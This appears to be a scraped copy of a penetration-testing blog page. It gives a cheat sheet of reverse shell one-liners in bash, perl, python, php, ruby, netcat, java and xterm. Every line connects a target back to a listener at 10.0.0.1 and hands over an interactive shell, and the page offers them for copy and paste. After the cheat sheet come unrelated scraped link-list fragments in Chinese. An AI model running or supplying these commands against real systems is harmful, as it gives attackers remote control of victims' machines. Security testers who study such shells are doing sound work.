Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
Further Reading
Also check out Bernardo’s Reverse Shell One-Liners. He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here. Gawk is not something that I’ve ever used myself. However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm
Posted in Shells
Reverse Shell Cheat Sheet的更多相关文章
- Linux常用命令汇总 - Linux Shell Cheat Sheet
1. 查看Linux操作系统信息: uname -a cat /proc/version lsb_release -a 2. 设置ls显示的文件夹的颜色(将下面这条目录加在 .bashrc 文件最后) ...
- IOS Application Security Testing Cheat Sheet
IOS Application Security Testing Cheat Sheet [hide] 1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...
- XSS Filter Evasion Cheat Sheet 中文版
前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...
- [转]Blue Prism VBO Cheat Sheet
本文转自:https://www.cheatography.com/ethanium/cheat-sheets/blue-prism-vbo/ Blue Prism MAPIEx Configure ...
- Tools - 速查表与备忘单(Cheat Sheet)
Cheat Sheets Rico's cheatsheets Cheat-Sheets.org Python Python Cheat sheet Python Programming Cheat ...
- Racket Cheat Sheet
Racket Cheat Sheet 来源 http://docs.racket-lang.org/racket-cheat/index.html?q=Racket%20Cheat%20Sheet ...
- cheat sheet (小抄的意思-考试的时候,带在路上原先抄的重要的知识点)
Cheat Sheet,这里面有个Cheat(欺骗),想当然的话,意思肯定不好.事实上,这Cheat Sheet 的原意的确也就是“小抄”的意思.所以,字典的定义是:“A piece of paper ...
- 转:PostgreSQL Cheat Sheet
PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...
- Git Cheat Sheet
Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...
随机推荐
- 4、Linux基础--系统目录
笔记 1.晨考 1.移动文件的命令 mv 2.删除文件的命令及其参数 rm 参数: -r : 递归删除 -f : 不提示删除 -i : 提示删除 3.复制文件的命令及其参数 cp 参数: -r : 递 ...
- Solution -「多校联训」染色
\(\mathcal{Description}\) Link. 给定 \(n\) 和 \(q\) 次询问,每次询问给出 \(x,k\),求第 \(x\) 位为 0 且任意两个 1 的下标之差不 ...
- suse 12 sp3 利用shell脚本离线编译安装ansible
# 测试环境是suse 12 sp3的系统,机器都是内网使用的,安装ansible真的很难顶 # 测试环境使用的python版本:2.7.13-27 # 此脚本只在本人测试环境成功,其他环境,需要选择 ...
- 解决UIWebView内存不释放问题
走访很多朋友,查阅了很多资料发现UIWebView这尼玛就是个坑,有人说是sdk自带的bug....... 所以一个新的方法诞生了#import <WebKit/WebKit.h> WKW ...
- 『无为则无心』Python面向对象 — 58、类方法和静态方法
目录 1.实例方法 2.类方法 (1)类方法特点 (2)类方法使用场景 3.静态方法 (1)静态方法特点 (2)静态方法使用场景 1.实例方法 实例方法既可以调用静态方法也可以调用类方法. # 定义一 ...
- 从数据分析系统总架构理解BI工具的价值所在
现如今,应用商业智能BI工具的企业是越来越多了,由此也可见企业对数据分析的重视.因此,掌握一定的数据分析知识对"打工人"来说是非常重要的.现在小编就来跟大家一起来了解一下商业智能 ...
- Smartbi权限安全管理系统_保障数据权限安全
思迈特软件Smartbi具有完善的安全管理体系,Smartbi权限安全管理系统它可以控制用户功能权限.数据访问权限.资源访问权限.Smartbi权限安全管理系统支持按用户.用户组.角色进行管理:支持多 ...
- weblogic threadpool has stuck threads引发内存溢出
转至:https://blog.csdn.net/wyx713510713/article/details/12705221?utm_source=copy 最近项目老是出问题,weblogic的no ...
- JAVA变量的命名规范
所有变量.方法.类名:见名知意 类成员变量:首字母小写和驼峰原则:monthSalary 局部变量:首字母小写和驼峰原则 常量:大写字母和下划线:MAX_VALUE 类名:首字母大写和驼峰原则:Man ...
- Qt:QCustomPlot使用教程(三)——用户交互
0.说明 本节翻译总结自:Qt Plotting Widget QCustomPlot - User Interactions 本节内容是使用QCustomPlot实现绘图和用户交互功能. 本文代码中 ...